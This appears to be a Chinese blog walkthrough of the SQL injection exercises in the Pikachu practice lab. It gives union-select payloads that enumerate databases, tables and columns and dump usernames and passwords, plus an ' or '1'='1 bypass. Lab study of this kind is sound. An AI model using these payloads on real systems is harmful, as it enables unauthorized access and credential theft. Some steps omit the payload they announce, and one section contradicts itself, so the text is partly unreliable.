pikachu学习——sql注入部分

本文主要是介绍pikachu学习——sql注入部分，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

数字型注入

用burpsuite进行抓包

发现变量为id，因为是字符型所以构造payload为

发现并没有报错，说明有两个字段

之后要获取显示位，使用union select 1,2去实验

发现1和2都回显了

在1或者2上面构造payload
按照下面的步骤来进行注入：

获取数据库：
union select 1,group_concat(schema_name) from information_schema.schemata --+
获取数据库表：
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取表中所有字段：
union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
获取数据：
union select username,password from users limit 0,1 --+

字符型注入

通过' or '1'='1就可以把数据库都爆出来
其余的思路跟数字型差不多

这篇关于pikachu学习——sql注入部分的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！

C/C++教程